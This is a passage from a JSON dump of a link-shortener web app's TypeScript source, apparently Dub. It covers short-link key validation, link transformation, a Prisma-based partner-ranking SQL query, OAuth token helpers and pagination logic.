    "content": "export * from \"./check-if-links-have-tags\";\nexport * from \"./check-if-links-have-webhooks\";\nexport * from \"./key-checks\";\nexport * from \"./process-key\";\nexport * from \"./transform-link\";\n"
  },
  {
    "path": "apps/web/lib/api/links/utils/key-checks.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { isBlacklistedKey, isReservedUsername } from \"@/lib/edge-config\";\nimport { checkIfKeyExists } from \"@/lib/planetscale\";\nimport { Project } from \"@dub/prisma/client\";\nimport {\n  DEFAULT_REDIRECTS,\n  isDubDomain,\n  isReservedKeyGlobal,\n  RESERVED_SLUGS,\n} from \"@dub/utils\";\n\nexport async function keyChecks({\n  domain,\n  key,\n  workspace,\n}: {\n  domain: string;\n  key: string;\n  workspace?: Pick<Project, \"plan\">;\n}): Promise<{ error: string | null; code?: DubApiError[\"code\"] }> {\n  if ((key.length === 0 || key === \"_root\") && workspace?.plan === \"free\") {\n    return {\n      error:\n        \"You can only set a redirect for your root domain on a Pro plan and above. Upgrade to Pro to unlock this feature.\",\n      code: \"forbidden\",\n    };\n  }\n\n  if (isReservedKeyGlobal(key)) {\n    return {\n      error: `${key} is a reserved path and cannot be used as a short link.`,\n      code: \"forbidden\",\n    };\n  }\n\n  const link = await checkIfKeyExists({ domain, key });\n  if (link) {\n    return {\n      error: \"Duplicate key: This short link already exists.\",\n      code: \"conflict\",\n    };\n  }\n\n  if (isDubDomain(domain) && process.env.NEXT_PUBLIC_IS_DUB) {\n    if (domain === \"dub.sh\" || domain === \"dub.link\") {\n      if (DEFAULT_REDIRECTS[key] || RESERVED_SLUGS.includes(key)) {\n        return {\n          error: \"Duplicate key: This short link already exists.\",\n          code: \"conflict\",\n        };\n      }\n      if (await isBlacklistedKey(key)) {\n        return {\n          error: \"Invalid key.\",\n          code: \"unprocessable_entity\",\n        };\n      }\n    }\n    if (key.length <= 3 && (!workspace || workspace.plan === \"free\")) {\n      return {\n        error: `You can only use keys that are 3 characters or less on a Pro plan and above. Upgrade to Pro to register a ${key.length}-character key.`,\n        code: \"forbidden\",\n      };\n    }\n    if (\n      domain === \"dub.link\" &&\n      key.length <= 5 &&\n      (!workspace || workspace.plan === \"free\" || workspace.plan === \"pro\")\n    ) {\n      return {\n        error: `You can only use dub.link with keys that are 5 characters or less on a Business plan and above. Upgrade to Business to register a ${key.length}-character dub.link key.`,\n        code: \"forbidden\",\n      };\n    }\n    if (\n      (await isReservedUsername(key)) &&\n      (!workspace || workspace.plan === \"free\")\n    ) {\n      return {\n        error:\n          \"This is a premium key. You can only use this key on a Pro plan and above. Upgrade to Pro to register this key.\",\n        code: \"forbidden\",\n      };\n    }\n  }\n  return {\n    error: null,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/utils/process-key.ts",
    "content": "import {\n  isDubDomain,\n  isUnsupportedKey,\n  punyEncode,\n  validKeyRegex,\n} from \"@dub/utils\";\n\nexport function processKey({ domain, key }: { domain: string; key: string }) {\n  // Skip if root domain\n  if (key === \"_root\") {\n    return key;\n  }\n\n  if (!validKeyRegex.test(key)) {\n    return null;\n  }\n  // if key starts with _, return null (reserved route for Dub internals)\n  if (key.startsWith(\"_\")) {\n    return null;\n  }\n\n  // check if key is supported\n  if (isUnsupportedKey(key)) {\n    return null;\n  }\n\n  // remove all leading and trailing slashes from key\n  key = key.replace(/^\\/+|\\/+$/g, \"\");\n  /* \n      for default dub domains, remove all special characters + unicode normalization \n        to remove accents / diacritical marks. this is to prevent phishing/typo squatting\n      for custom domains this is fine, since only the workspace can set the key\n    */\n  if (isDubDomain(domain)) {\n    key = key.normalize(\"NFD\").replace(/[\\u0300-\\u036f]/g, \"\");\n  }\n  // encode the key to ascii\n  key = punyEncode(key);\n\n  return key;\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/utils/transform-link.ts",
    "content": "import {\n  DiscountProps,\n  PartnerProps,\n  ProgramEnrollmentProps,\n} from \"@/lib/types\";\nimport { Dashboard, Link, Tag } from \"@dub/prisma/client\";\nimport { toCentsNumber } from \"@dub/utils\";\nimport { prefixWorkspaceId } from \"../../workspaces/workspace-id\";\nimport { decodeLinkIfCaseSensitive } from \"../case-sensitivity\";\n\n// used in API (e.g. transformLink)\n// TODO: standardize this with ExpandedLinkProps\nexport type ExpandedLink = Link & {\n  tags?: { tag: Pick<Tag, \"id\" | \"name\" | \"color\"> }[];\n  webhooks?: { webhookId: string }[];\n  dashboard?: Dashboard | null;\n  partner?:\n    | (Pick<PartnerProps, \"id\" | \"name\" | \"image\"> & {\n        groupId?: string | null;\n        tenantId?: string | null;\n      })\n    | null;\n  discount?: Pick<\n    DiscountProps,\n    \"id\" | \"amount\" | \"type\" | \"maxDuration\" | \"couponId\" | \"couponTestId\"\n  > | null;\n  programEnrollment?: Pick<ProgramEnrollmentProps, \"groupId\"> | null;\n};\n\n// Transform link with additional properties\nexport const transformLink = (\n  link: ExpandedLink,\n  { skipDecodeKey = false }: { skipDecodeKey?: boolean } = {},\n) => {\n  const tags = (link.tags || []).map(({ tag }) => tag);\n  const webhookIds = link.webhooks?.map(({ webhookId }) => webhookId) ?? [];\n\n  if (!skipDecodeKey) {\n    link = decodeLinkIfCaseSensitive(link);\n  }\n\n  const {\n    // remove webhooks array, dashboard, partnerGroupDefaultLinkId\n    webhooks,\n    dashboard,\n    partnerGroupDefaultLinkId,\n    // hide undocumented fields from the API response for now\n    lastLeadAt,\n    lastConversionAt,\n    programEnrollment,\n    ...rest\n  } = link;\n\n  return {\n    ...rest,\n    saleAmount: toCentsNumber(rest.saleAmount),\n    identifier: null, // backwards compatibility\n    tagId: tags?.[0]?.id ?? null, // backwards compatibility\n    tags,\n    webhookIds,\n    qrCode: `https://api.dub.co/qr?url=${link.shortLink}?qr=1`,\n    workspaceId: link.projectId ? prefixWorkspaceId(link.projectId) : null,\n    ...(dashboard && { dashboardId: dashboard.id || null }),\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/api/links/validate-links-query-filters.ts",
    "content": "import { getFolderIdsToFilter } from \"@/lib/analytics/get-folder-ids-to-filter\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { getLinksQuerySchemaExtended } from \"@/lib/zod/schemas/links\";\nimport * as z from \"zod/v4\";\nimport { getDomainOrThrow } from \"../domains/get-domain-or-throw\";\n\ninterface LinksQueryFilters\n  extends Partial<z.infer<typeof getLinksQuerySchemaExtended>> {\n  userId: string;\n  workspace: Pick<WorkspaceProps, \"id\" | \"plan\" | \"foldersUsage\" | \"users\">;\n}\n\nexport async function validateLinksQueryFilters({\n  domain,\n  search,\n  tagId,\n  tagIds,\n  tagNames,\n  linkIds,\n  tenantId,\n  folderId,\n  userId,\n  workspace,\n}: LinksQueryFilters) {\n  let folderIds: string[] | undefined = undefined;\n\n  if (domain) {\n    await getDomainOrThrow({\n      domain,\n      workspace,\n    });\n  }\n\n  if (folderId) {\n    await verifyFolderAccess({\n      workspace,\n      userId,\n      folderId,\n      requiredPermission: \"folders.read\",\n    });\n  }\n\n  /* we only need to get the folder ids if we are:\n      - not filtering by folder\n      - filtering by search, domain, tags, tenantId, or linkIds\n    */\n  if (\n    !folderId &&\n    (search || domain || tagId || tagIds || tagNames || tenantId || linkIds)\n  ) {\n    folderIds = await getFolderIdsToFilter({\n      workspace,\n      userId,\n    });\n  }\n\n  if (Array.isArray(folderIds)) {\n    folderIds = folderIds?.filter((id) => id !== \"\");\n    if (folderIds.length === 0) {\n      folderIds = undefined;\n    }\n  }\n\n  return {\n    folderIds,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/validate-partner-link-url.ts",
    "content": "import { PartnerGroupAdditionalLink } from \"@/lib/types\";\nimport { PartnerGroup } from \"@dub/prisma/client\";\nimport { getUrlObjFromString } from \"@dub/utils\";\nimport { DubApiError } from \"../errors\";\n\nexport const validatePartnerLinkUrl = ({\n  group,\n  url,\n}: {\n  group: Pick<PartnerGroup, \"additionalLinks\"> | null;\n  url?: string | null;\n}) => {\n  if (!url || !group) {\n    return;\n  }\n\n  const additionalLinks = group.additionalLinks as PartnerGroupAdditionalLink[];\n\n  if (!additionalLinks) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"You cannot create additional links for this program.\",\n    });\n  }\n\n  const {\n    hostname: urlHostname,\n    pathname: urlPathname,\n    search: urlSearch,\n  } = getUrlObjFromString(url) ?? {};\n\n  // Find matching additional link based on its domain\n  const additionalLink = additionalLinks.find((additionalLink) => {\n    return additionalLink.domain === urlHostname;\n  });\n\n  if (!additionalLink) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: `The provided URL's domain (${urlHostname}) does not match the program's link domains.`,\n    });\n  }\n\n  // for domain mode, we only need to check if the domain matches\n  if (additionalLink.validationMode === \"domain\") {\n    return true;\n  }\n\n  // else, for exact mode, we need to check if the path matches too\n  if (additionalLink.path !== `${urlPathname}${urlSearch}`) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: `The provided URL does not match the URL configured for this program.`,\n    });\n  }\n\n  return true;\n};\n"
  },
  {
    "path": "apps/web/lib/api/network/calculate-partner-ranking.ts",
    "content": "import { getNetworkPartnersQuerySchema } from \"@/lib/zod/schemas/partner-network\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { ACME_PROGRAM_ID } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\ntype PartnerRankingFilters = z.infer<typeof getNetworkPartnersQuerySchema>;\n\nexport interface PartnerRankingParams extends PartnerRankingFilters {\n  programId: string;\n  similarPrograms?: Array<{ programId: string; similarityScore: number }>;\n}\n\n/**\n * Partner Ranking Algorithm for Discovery\n * Ranks partners based on performance in similar programs only.\n *\n * Scoring Breakdown (0-65+ points):\n *\n * 1. Trusted Partner Bonus (200 points): Top priority boost\n *    - Partners with trustedAt IS NOT NULL get 200 bonus points\n *    - This ensures trusted partners appear at the very top\n *\n * 2. Similarity Score (0-50 points): Performance in similar programs\n *    - Sums weighted performance across similar programs (similarityScore > 0.3)\n *    - Each program's performance weighted by its similarity score\n *    - Partners with more similar programs score higher (capped at 50)\n *    - Includes: consistency (20%), conversion rate (10%), LTV (15%), commissions (5%)\n *\n * 3. Program Match Score (0-15 points): Count of similar programs\n *    - Rewards partners enrolled in many similar programs\n *    - 2 points per similar program (capped at 15)\n *\n * Final Score = Trusted Bonus + Similarity + Match (0-265+ points)\n *\n * Displayed Metrics:\n * - clickToConversionRate: Average click-to-conversion rate across ALL programs the partner is enrolled in\n * - lastConversionAt: Most recent conversion date across ALL programs the partner is enrolled in\n *\n * Note: Ranking is primarily used for the \"discover\" tab. For \"invited\" and \"recruited\"\n * tabs, partners are sorted by date (most recent first).\n */\nexport async function calculatePartnerRanking({\n  programId,\n  partnerIds,\n  country,\n  starred,\n  platform,\n  subscribers,\n  page = 1,\n  pageSize,\n  status = \"discover\",\n  similarPrograms = [],\n}: PartnerRankingParams) {\n  const conditions: Prisma.Sql[] = [\n    Prisma.sql`p.discoverableAt IS NOT NULL`,\n    Prisma.sql`(dp.ignoredAt IS NULL OR dp.id IS NULL)`,\n    Prisma.sql`COALESCE(pe.clickToConversionRate, 0) < 1`,\n  ];\n\n  if (partnerIds && partnerIds.length > 0) {\n    conditions.push(Prisma.sql`p.id IN (${Prisma.join(partnerIds)})`);\n  }\n\n  if (country) {\n    conditions.push(Prisma.sql`p.country = ${country}`);\n  }\n\n  // Filter by platform type and/or subscriber count (must have verified platform)\n  // Combine both filters into a single EXISTS clause so they apply to the same platform\n  if (platform || subscribers) {\n    const platformConditions: Prisma.Sql[] = [\n      Prisma.sql`pp_filter.partnerId = p.id`,\n      Prisma.sql`pp_filter.verifiedAt IS NOT NULL`,\n    ];\n\n    if (platform) {\n      platformConditions.push(Prisma.sql`pp_filter.type = ${platform}`);\n    }\n\n    if (subscribers) {\n      switch (subscribers) {\n        case \"<5000\":\n          platformConditions.push(Prisma.sql`pp_filter.subscribers < 5000`);\n          break;\n        case \"5000-25000\":\n          platformConditions.push(\n            Prisma.sql`pp_filter.subscribers >= 5000 AND pp_filter.subscribers < 25000`,\n          );\n          break;\n        case \"25000-100000\":\n          platformConditions.push(\n            Prisma.sql`pp_filter.subscribers >= 25000 AND pp_filter.subscribers < 100000`,\n          );\n          break;\n        case \"100000+\":\n          platformConditions.push(Prisma.sql`pp_filter.subscribers >= 100000`);\n          break;\n      }\n    }\n\n    conditions.push(\n      Prisma.sql`EXISTS (\n        SELECT 1 \n        FROM PartnerPlatform pp_filter \n        WHERE ${Prisma.join(platformConditions, \" AND \")}\n      )`,\n    );\n  }\n\n  if (status === \"discover\") {\n    conditions.push(Prisma.sql`enrolled.id IS NULL`);\n  } else if (status === \"invited\") {\n    conditions.push(\n      Prisma.sql`enrolled.status = 'invited' AND dp.invitedAt IS NOT NULL`,\n    );\n  } else if (status === \"recruited\") {\n    conditions.push(\n      Prisma.sql`enrolled.status = 'approved' AND dp.invitedAt IS NOT NULL`,\n    );\n  }\n\n  if (starred === true) {\n    conditions.push(Prisma.sql`dp.starredAt IS NOT NULL`);\n  } else if (starred === false) {\n    conditions.push(Prisma.sql`(dp.starredAt IS NULL OR dp.id IS NULL)`);\n  }\n\n  const whereClause = Prisma.join(conditions, \" AND \");\n\n  // Rank partners with no platforms lower\n  const hasProfileCheck = Prisma.sql`EXISTS (\n    SELECT 1 \n    FROM PartnerPlatform pp \n    WHERE pp.partnerId = p.id\n  )`;\n\n  const orderByClause =\n    status === \"discover\"\n      ? starred === true\n        ? Prisma.sql`dp.starredAt ASC`\n        : Prisma.sql`finalScore DESC, p.id ASC`\n      : status === \"invited\"\n        ? Prisma.sql`dp.invitedAt ASC`\n        : Prisma.sql`enrolled.createdAt DESC, p.id ASC`;\n\n  const offset = (page - 1) * pageSize;\n\n  // Helper function to build discoverable partners filter with any alias to reuse in subqueries\n  // This dramatically reduces the dataset from 1.5M to 5,000 before expensive joins\n  const buildDiscoverablePartnersFilter = (alias: string) => {\n    const conditions: Prisma.Sql[] = [\n      Prisma.sql`${Prisma.raw(alias)}.discoverableAt IS NOT NULL`,\n    ];\n\n    if (partnerIds && partnerIds.length > 0) {\n      conditions.push(\n        Prisma.sql`${Prisma.raw(alias)}.id IN (${Prisma.join(partnerIds)})`,\n      );\n    }\n\n    if (country) {\n      conditions.push(Prisma.sql`${Prisma.raw(alias)}.country = ${country}`);\n    }\n\n    return Prisma.join(conditions, \" AND \");\n  };\n\n  // Metrics across ALL programs (for display purposes)\n  const allProgramMetricsJoin = Prisma.sql`LEFT JOIN (\n    SELECT \n      pe_all.partnerId,\n      MAX(pe_all.lastConversionAt) as lastConversionAt,\n      AVG(COALESCE(pe_all.clickToConversionRate, 0)) as avgConversionRate\n    FROM ProgramEnrollment pe_all FORCE INDEX (ProgramEnrollment_partnerId_programId_key)\n    -- OPTIMIZATION: Only process enrollments for discoverable partners (using subquery to avoid JOIN)\n    WHERE pe_all.partnerId IN (\n      SELECT p_filter_all.id\n      FROM Partner p_filter_all\n      WHERE ${buildDiscoverablePartnersFilter(\"p_filter_all\")}\n    )\n      AND pe_all.programId != ${ACME_PROGRAM_ID}\n      AND pe_all.totalConversions > 0\n    GROUP BY pe_all.partnerId\n  ) allProgramMetrics ON allProgramMetrics.partnerId = p.id`;\n\n  const similarProgramMetricsJoin =\n    similarPrograms.length > 0\n      ? Prisma.sql`LEFT JOIN (\n      SELECT \n        pe2.partnerId,\n        -- Similarity score: Sum weighted performance (0-50 points, no averaging)\n        LEAST(50, SUM(\n          (\n            -- Individual program performance score (0-1 range per program)\n            (COALESCE(pe2.consistencyScore, 50) / 100 * 0.20) +\n            (CASE \n              WHEN COALESCE(pe2.clickToConversionRate, 0) <= 0 THEN 0\n              WHEN COALESCE(pe2.clickToConversionRate, 0) >= 0.1 THEN 0.10\n              ELSE (SQRT(LOG10(COALESCE(pe2.clickToConversionRate, 0) * 1000 + 1)) * 40 / 100) * 0.10\n            END) +\n            (CASE \n              WHEN COALESCE(pe2.averageLifetimeValue, 0) <= 0 THEN 0\n              WHEN COALESCE(pe2.averageLifetimeValue, 0) >= 10000 THEN 0.15\n              ELSE (LOG10(COALESCE(pe2.averageLifetimeValue, 0) + 1) * 25 / 100) * 0.15\n            END) +\n            (CASE \n              WHEN COALESCE(pe2.totalCommissions, 0) <= 0 THEN 0\n              WHEN COALESCE(pe2.totalCommissions, 0) >= 100000 THEN 0.05\n              ELSE (LOG10(COALESCE(pe2.totalCommissions, 0) + 1) * 22 / 100) * 0.05\n            END)\n          ) * (CASE pe2.programId\n            ${Prisma.join(\n              similarPrograms.map(\n                (sp) =>\n                  Prisma.sql`WHEN ${sp.programId} THEN ${sp.similarityScore}`,\n              ),\n              \" \",\n            )}\n            ELSE 0 END) * 50 -- Weight by similarity, scale to 0-50 range\n        )) as similarityScore,\n        -- Program match score: Count of similar programs (0-15 points)\n        LEAST(15, COUNT(DISTINCT pe2.programId) * 2) as programMatchScore\n      FROM ProgramEnrollment pe2 FORCE INDEX (ProgramEnrollment_partnerId_programId_key)\n      -- OPTIMIZATION: Only process enrollments for discoverable partners (using subquery to avoid JOIN)\n      WHERE pe2.partnerId IN (\n        SELECT p_filter.id\n        FROM Partner p_filter\n        WHERE ${buildDiscoverablePartnersFilter(\"p_filter\")}\n      )\n        AND pe2.programId IN (${Prisma.join(similarPrograms.map((sp) => sp.programId))})\n        AND pe2.status = 'approved'\n      GROUP BY pe2.partnerId\n    ) similarProgramMetrics ON similarProgramMetrics.partnerId = p.id`\n      : Prisma.sql`LEFT JOIN (\n          SELECT \n            NULL as partnerId, \n            NULL as similarityScore, \n            NULL as programMatchScore\n            WHERE FALSE\n        ) similarProgramMetrics ON similarProgramMetrics.partnerId = p.id`;\n\n  const partners = await prisma.$queryRaw<Array<any>>`\n    SELECT \n      p.*,\n      COALESCE(pe.lastConversionAt, allProgramMetrics.lastConversionAt) as lastConversionAt,\n      COALESCE(pe.clickToConversionRate, allProgramMetrics.avgConversionRate) as conversionRate,\n      dp.starredAt,\n      dp.ignoredAt,\n      dp.invitedAt,\n      partnerCategories.categories as categories,\n      CASE WHEN enrolled.status = 'approved' THEN enrolled.createdAt ELSE NULL END as recruitedAt,\n      preferredEarningStructuresData.preferredEarningStructures as preferredEarningStructures,\n      salesChannelsData.salesChannels as salesChannels,\n      partnerPlatformsData.platforms as platforms,\n      \n      -- Pre-compute hasProfileCheck for faster sorting\n      ${hasProfileCheck} as hasProfile,\n\n      -- FINAL SCORE (0-765+ points): Similarity-based ranking for discovery\n      -- Trusted partners (trustedAt IS NOT NULL) get 200 bonus points to rank at the top\n      -- Partners with profiles get 500 bonus points to ensure they rank above those without profiles\n      (\n        -- Profile bonus: 500 points for partners with platforms (ensures they rank above those without)\n        CASE WHEN ${hasProfileCheck} THEN 500 ELSE 0 END +\n        -- Trusted partner bonus: 200 points for partners with trustedAt set\n        CASE WHEN p.trustedAt IS NOT NULL THEN 200 ELSE 0 END +\n        COALESCE(similarProgramMetrics.similarityScore, 0) +\n        COALESCE(similarProgramMetrics.programMatchScore, 0)\n      ) as finalScore\n    FROM (\n      -- OPTIMIZATION: Filter to discoverable partners FIRST using subquery\n      -- This dramatically reduces the dataset from 1.5M to 5,000 before expensive joins\n      SELECT p_sub.*\n      FROM Partner p_sub\n      WHERE ${buildDiscoverablePartnersFilter(\"p_sub\")}\n    ) p\n   \n    -- Current program enrollment (for display metrics and filtering)\n    LEFT JOIN ProgramEnrollment pe ON pe.partnerId = p.id AND pe.programId = ${programId}\n   \n    -- Enrollment status for the current program\n    LEFT JOIN ProgramEnrollment enrolled ON enrolled.partnerId = p.id AND enrolled.programId = ${programId}\n   \n    -- Discovered partner metadata\n    LEFT JOIN DiscoveredPartner dp ON dp.partnerId = p.id AND dp.programId = ${programId}\n\n    ${allProgramMetricsJoin}\n\n    ${similarProgramMetricsJoin}\n\n    -- OPTIMIZATION: Only get categories for discoverable partners\n    LEFT JOIN (\n      SELECT \n        pe5.partnerId,\n        GROUP_CONCAT(DISTINCT pc.category ORDER BY pc.category SEPARATOR ',') as categories\n      FROM ProgramEnrollment pe5 FORCE INDEX (ProgramEnrollment_partnerId_programId_key)\n      JOIN ProgramCategory pc ON pc.programId = pe5.programId\n      WHERE pe5.partnerId IN (\n        SELECT p_cat.id\n        FROM Partner p_cat\n        WHERE ${buildDiscoverablePartnersFilter(\"p_cat\")}\n      )\n        AND pe5.status = 'approved'\n      GROUP BY pe5.partnerId\n    ) partnerCategories ON partnerCategories.partnerId = p.id\n\n    -- OPTIMIZATION: Only get preferred earning structures for discoverable partners\n    LEFT JOIN (\n      SELECT \n        ppes.partnerId,\n        GROUP_CONCAT(DISTINCT ppes.preferredEarningStructure ORDER BY ppes.preferredEarningStructure SEPARATOR ',') as preferredEarningStructures\n      FROM PartnerPreferredEarningStructure ppes\n      WHERE ppes.partnerId IN (\n        SELECT p_filter.id\n        FROM Partner p_filter\n        WHERE ${buildDiscoverablePartnersFilter(\"p_filter\")}\n      )\n      GROUP BY ppes.partnerId\n    ) preferredEarningStructuresData ON preferredEarningStructuresData.partnerId = p.id\n\n    -- OPTIMIZATION: Only get sales channels for discoverable partners\n    LEFT JOIN (\n      SELECT \n        psc.partnerId,\n        GROUP_CONCAT(DISTINCT psc.salesChannel ORDER BY psc.salesChannel SEPARATOR ',') as salesChannels\n      FROM PartnerSalesChannel psc\n      WHERE psc.partnerId IN (\n        SELECT p_filter.id\n        FROM Partner p_filter\n        WHERE ${buildDiscoverablePartnersFilter(\"p_filter\")}\n      )\n      GROUP BY psc.partnerId\n    ) salesChannelsData ON salesChannelsData.partnerId = p.id\n\n    -- OPTIMIZATION: Only get platforms for discoverable partners\n    LEFT JOIN (\n      SELECT \n        pp.partnerId,\n        JSON_ARRAYAGG(\n          JSON_OBJECT(\n            'partnerId', pp.partnerId,\n            'type', pp.type,\n            'identifier', pp.identifier,\n            'verifiedAt', pp.verifiedAt,\n            'platformId', pp.platformId,\n            'subscribers', pp.subscribers,\n            'posts', pp.posts,\n            'views', pp.views\n          )\n        ) as platforms\n      FROM PartnerPlatform pp\n      WHERE pp.partnerId IN (\n        SELECT p_filter.id\n        FROM Partner p_filter\n        WHERE ${buildDiscoverablePartnersFilter(\"p_filter\")}\n      )\n      GROUP BY pp.partnerId\n    ) partnerPlatformsData ON partnerPlatformsData.partnerId = p.id\n\n    WHERE ${whereClause}\n    ORDER BY ${orderByClause}\n    LIMIT ${pageSize} OFFSET ${offset}\n  `;\n\n  return partners.map((partner: any) => {\n    let platforms: any[] = [];\n    if (partner.platforms) {\n      try {\n        // Handle both string and already-parsed JSON\n        const parsedPlatforms =\n          typeof partner.platforms === \"string\"\n            ? JSON.parse(partner.platforms)\n            : partner.platforms;\n\n        // Transform platforms to match Prisma types\n        // MySQL JSON returns BigInt as numbers and DateTime as strings\n        platforms = (Array.isArray(parsedPlatforms) ? parsedPlatforms : []).map(\n          (platform: any) => ({\n            ...platform,\n            subscribers: platform.subscribers\n              ? BigInt(platform.subscribers)\n              : BigInt(0),\n            posts: platform.posts ? BigInt(platform.posts) : BigInt(0),\n            views: platform.views ? BigInt(platform.views) : BigInt(0),\n            verifiedAt: platform.verifiedAt\n              ? new Date(platform.verifiedAt)\n              : null,\n          }),\n        );\n      } catch {\n        platforms = [];\n      }\n    }\n    return {\n      ...partner,\n      platforms,\n    };\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/oauth/actions.ts",
    "content": "\"use server\";\n\nimport { prisma } from \"@dub/prisma\";\nimport { authorizeRequestSchema } from \"../../zod/schemas/oauth\";\nimport { fromZodError } from \"../errors\";\n\nexport const validateAuthorizeRequest = async (params: any) => {\n  const request = authorizeRequestSchema.safeParse(params);\n\n  if (!request.success) {\n    const formattedError = fromZodError(request.error);\n\n    return {\n      error: formattedError.error.message,\n    };\n  }\n\n  const { client_id: clientId, redirect_uri: redirectUri } = request.data;\n\n  const oAuthApp = await prisma.oAuthApp.findFirst({\n    where: {\n      clientId,\n    },\n    select: {\n      redirectUris: true,\n      integration: {\n        select: {\n          name: true,\n          developer: true,\n          website: true,\n          logo: true,\n          verified: true,\n        },\n      },\n    },\n  });\n\n  if (!oAuthApp || !oAuthApp.integration) {\n    return {\n      error:\n        \"Could not find OAuth application. Make sure you have the correct client_id.\",\n    };\n  }\n\n  const redirectUris = (oAuthApp.redirectUris || []) as string[];\n\n  if (!redirectUris.includes(redirectUri)) {\n    return {\n      error:\n        \"Invalid redirect_uri parameter detected. Make sure you have allowlisted the redirect_uri in your OAuth app settings.\",\n    };\n  }\n\n  return {\n    integration: { ...oAuthApp.integration },\n    requestParams: request.data,\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/api/oauth/constants.ts",
    "content": "// OAuth configuration\nexport const OAUTH_CONFIG = {\n  ACCESS_TOKEN_LIFETIME: 2 * 60 * 60, // 2 hours\n  REFRESH_TOKEN_LIFETIME: 120 * 24 * 60 * 60, // 120 days\n  CODE_LIFETIME: 2 * 60, // 2 minutes\n\n  CLIENT_ID_LENGTH: 24,\n  CLIENT_SECRET_LENGTH: 30,\n  ACCESS_TOKEN_LENGTH: 40,\n  REFRESH_TOKEN_LENGTH: 40,\n  CODE_LENGTH: 40,\n\n  CLIENT_ID_PREFIX: \"dub_app_\",\n  CLIENT_SECRET_PREFIX: \"dub_app_secret_\",\n  ACCESS_TOKEN_PREFIX: \"dub_access_token_\",\n};\n\n// These are the scopes an OAuth app can request on behalf of an user\n// Keep it separate from the actual scopes to avoid confusion\n// We don't want all the scopes to be requested by an app\nexport const OAUTH_SCOPES = [\n  \"links.read\",\n  \"links.write\",\n  \"tags.read\",\n  \"tags.write\",\n  \"analytics.read\",\n  \"domains.read\",\n  \"domains.write\",\n  \"webhooks.read\",\n  \"webhooks.write\",\n  \"folders.read\",\n  \"folders.write\",\n  \"user.read\", // default scope, no need to request it\n];\n\n// Scope descriptions\nexport const OAUTH_SCOPE_DESCRIPTIONS = {\n  \"links.read\": \"Read access to links\",\n  \"links.write\": \"Read and Write access to links\",\n  \"tags.read\": \"Read access to tags\",\n  \"tags.write\": \"Read and Write access to tags\",\n  \"analytics.read\": \"Read access to analytics and events\",\n  \"domains.read\": \"Read access to domains\",\n  \"domains.write\": \"Read and Write access to domains\",\n  \"user.read\": \"Read your name, email and profile image\",\n  \"webhooks.read\": \"Read access to webhooks\",\n  \"webhooks.write\": \"Read and Write access to webhooks\",\n  \"folders.read\": \"Read access to folders\",\n  \"folders.write\": \"Read and Write access to folders\",\n};\n"
  },
  {
    "path": "apps/web/lib/api/oauth/utils.ts",
    "content": "import { randomBytes } from \"crypto\";\n\nexport const generateCodeVerifier = () => {\n  return randomBytes(32)\n    .toString(\"base64\")\n    .replace(/\\+/g, \"-\")\n    .replace(/\\//g, \"_\")\n    .replace(/=/g, \"\");\n};\n\nexport const generateCodeChallengeHash = async (codeVerifier: string) => {\n  const encoder = new TextEncoder();\n  const data = encoder.encode(codeVerifier);\n  const hashBuffer = await crypto.subtle.digest(\"SHA-256\", data);\n  const hashArray = Array.from(new Uint8Array(hashBuffer));\n  const base64url = hashArray.map((byte) => String.fromCharCode(byte)).join(\"\");\n\n  return Buffer.from(base64url, \"binary\")\n    .toString(\"base64\")\n    .replace(/\\+/g, \"-\")\n    .replace(/\\//g, \"_\")\n    .replace(/=+$/, \"\");\n};\n\nexport const createToken = ({\n  length,\n  prefix,\n}: {\n  length: number;\n  prefix?: string;\n}) => {\n  return `${prefix || \"\"}${randomBytes(length).toString(\"hex\")}`;\n};\n"
  },
  {
    "path": "apps/web/lib/api/pagination.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { Prisma } from \"@dub/prisma/client\";\n\ninterface Filters {\n  page?: number;\n  pageSize: number;\n  startingAfter?: string | null;\n  endingBefore?: string | null;\n  sortBy: string;\n  sortOrder: Prisma.SortOrder;\n}\n\ninterface PaginationQuery {\n  cursor?: { id: string };\n  skip: number;\n  take: number;\n  orderBy:\n    | Record<string, Prisma.SortOrder>\n    | Array<Record<string, Prisma.SortOrder>>;\n}\n\nexport const MAX_OFFSET_PAGE = 1000;\n\nexport function buildPaginationQuery(filters: Filters): PaginationQuery {\n  let { page, pageSize, startingAfter, endingBefore, sortBy, sortOrder } =\n    filters;\n\n  const useCursorPagination = !!startingAfter || !!endingBefore;\n\n  // Cursor pagination validations\n  if (startingAfter && endingBefore) {\n    throw new DubApiError({\n      code: \"unprocessable_entity\",\n      message:\n        \"You cannot use both startingAfter and endingBefore at the same time.\",\n    });\n  }\n\n  if (useCursorPagination && sortBy !== \"createdAt\") {\n    throw new DubApiError({\n      code: \"unprocessable_entity\",\n      message:\n        \"Cursor-based pagination only supports sorting by `createdAt`. Use offset-based pagination (page/pageSize) for other sort fields.\",\n    });\n  }\n\n  if (useCursorPagination && page) {\n    throw new DubApiError({\n      code: \"unprocessable_entity\",\n      message:\n        \"You cannot use both page and startingAfter/endingBefore at the same time. Please use one pagination method.\",\n    });\n  }\n\n  if (useCursorPagination) {\n    const cursorId = startingAfter || endingBefore!;\n\n    return {\n      cursor: {\n        id: cursorId,\n      },\n      orderBy: {\n        id: sortOrder,\n      },\n      take: endingBefore ? -pageSize : pageSize,\n      skip: 1,\n    };\n  }\n\n  page = page ?? 1;\n\n  // Offset pagination validations\n  if (page > MAX_OFFSET_PAGE) {\n    throw new DubApiError({\n      code: \"unprocessable_entity\",\n      message: `Page is too big (cannot be more than ${MAX_OFFSET_PAGE}), recommend using cursor-based pagination instead.`,\n    });\n  }\n\n  return {\n    // Order by id only for better query performance on large datasets (single-column PK index).\n    // Trade-off: ordering is by id rather than createdAt, so order may not strictly match creation time.\n    orderBy: {\n      [sortBy]: 